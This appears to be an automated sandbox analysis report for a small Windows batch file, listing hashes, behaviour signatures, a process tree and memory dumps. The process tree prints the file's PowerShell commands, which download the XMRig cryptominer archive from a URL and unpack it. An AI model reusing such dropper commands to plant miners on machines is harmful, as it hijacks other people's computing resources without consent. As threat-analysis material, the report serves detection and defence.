04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
300s
max time network
318s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

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General

Target

tesy - Copy.bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1116	powershell.exe
4	1116	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1116	powershell.exe
2964	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 1116	3064	cmd.exe	29
PID 3064 wrote to memory of 1116	3064	cmd.exe	29
PID 3064 wrote to memory of 1116	3064	cmd.exe	29
PID 3064 wrote to memory of 2964	3064	cmd.exe	30
PID 3064 wrote to memory of 2964	3064	cmd.exe	30
PID 3064 wrote to memory of 2964	3064	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2964

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
32c9691c4bb23d0597ee54fb812a6490

SHA1
cf560ff99850bd1bc9ba42b1728d854cee2f9a08

SHA256
13c2d4dc60fa2bcd00afed248278858290e61b38407053a0985dcb7d83b6af72

SHA512
d032adbbf8f93ec4c87f9345989e4bb34eb49b0e80ac10ec7b5b64b9874c218262908c572f12044e7dc3318c18ab7059ef78a5f742f5c7f94e38b02250a8b0c2

Download Submit
memory/1116-12-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/1116-5-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/1116-7-0x0000000002380000-0x0000000002400000-memory.dmp

Filesize
512KB

Download
memory/1116-9-0x0000000002380000-0x0000000002400000-memory.dmp

Filesize
512KB

Download
memory/1116-8-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/1116-10-0x0000000002380000-0x0000000002400000-memory.dmp

Filesize
512KB

Download
memory/1116-11-0x0000000002380000-0x0000000002400000-memory.dmp

Filesize
512KB

Download
memory/1116-4-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/1116-6-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2964-21-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2964-19-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/2964-20-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2964-18-0x000000001B340000-0x000000001B622000-memory.dmp

Filesize
2.9MB

Download
memory/2964-24-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2964-23-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2964-25-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2964-22-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download
memory/2964-26-0x000007FEF5330000-0x000007FEF5CCD000-memory.dmp

Filesize
9.6MB

Download